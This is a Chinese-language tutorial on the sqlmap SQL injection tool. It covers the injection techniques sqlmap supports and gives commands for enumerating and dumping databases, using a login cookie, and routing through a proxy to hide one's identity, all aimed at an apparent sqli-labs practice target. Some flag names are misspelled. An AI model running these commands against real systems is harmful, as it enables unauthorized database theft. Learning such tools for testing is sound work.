工具介绍
sqlmap是一款自动化的SQL注入工具,其主要功能就是自动化扫描,发现并利用给定的URL的SQL注入漏洞,内置了很多绕过的插件。
支持现在几乎所有的数据库MySQL、Oracle、Microsoft SQL Server、Microsoft Access、IBM DB2等。
支持代理,优化算法,更高效。
通过指纹识别技术来判断数据库。
当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回显标准输出。
SQLMAP主要采取以下5种独特的SQL注入技术。(还支持get、post、cookie注入)
- 布尔类型盲注,根据返回页面的判断条件真假进行注入。
- 时间盲注,再不能根据页面返回的内容判断任何信息的时候,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来进行判断。
- 报错注入,根据页面返回的错误信息,或者把注入的语句的结果直接返回到叶面中。
- 联合查询注入,在可以使用“union”的情况下的注入。
- 堆叠查询注入,可以同时执行多条语句时的注入。
基本命令
前置条件:目标存在注入点
sqlmap.py -u url地址
举例:sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1
当注入点后的参数大于两个的时候,url地址需要加双引号
举例:sqlmap.py -u “http://192.168.0.1/sqli/Less-1/?id=1&uid=2”
默认lever等级为1,可以在后面使用 -level 指定等级
获取目标
直接连接数据库
sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1
sqlmap -l 解析日志文件中的目标(一般和Burp Suite工具联合实现自动化、批量化检测)
sqlmap -x 从远程xml文件中解析目标(不太常用)
sqlmap -m 扫描在同一个文本中的多个目标
sqlmap -r 从一个HTTP请求里面解析目标(一般在存在cookie注入时使用)
举例:sqlmap.py -r /root/desktop/1.txt
sqlmap -g 使用谷歌搜索结果作为目标来执行 (天朝自带特色无法使用)
执行检测语句
检查注入点:
sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1
列出数据库信息:
sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1 --dbs
指定库名列出所有表(-D可以写成–dbs):
sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1 -D 数据库名 --tables
指定库名表名列出所有字段(-T可以写成–tables):
sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1 -D 数据库名 -T 表名 --columns
指定库名表名字段dump出指定字段(dump下载):
sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1 -D 数据库名 -T 表名 -C 字段1,字段2,字段3 --dump
也可以不用检测数据库,可以直接–dump-all数据库,缺点就是数据量大,下载慢。
拓展语句
有几个参数可能会用到,直接加在最后面即可,更多的参数可以参见官方文档
–cokeie=COOKIE 在需要登陆的地方,需要使用登陆后的cookie
–proxy=“http://127.0.0.1:8087” 使用HTTP代理隐藏自己的身份,比如使用goagen等
–sql-query=QUERY 执行一个SQL语句,但是不一定支持
–batch 默认执行Y,不用手动去选择,无人值守的时候,自动化默认的选择“Y”,智能的选择一个SQLMAP认为的最优的命令的执行。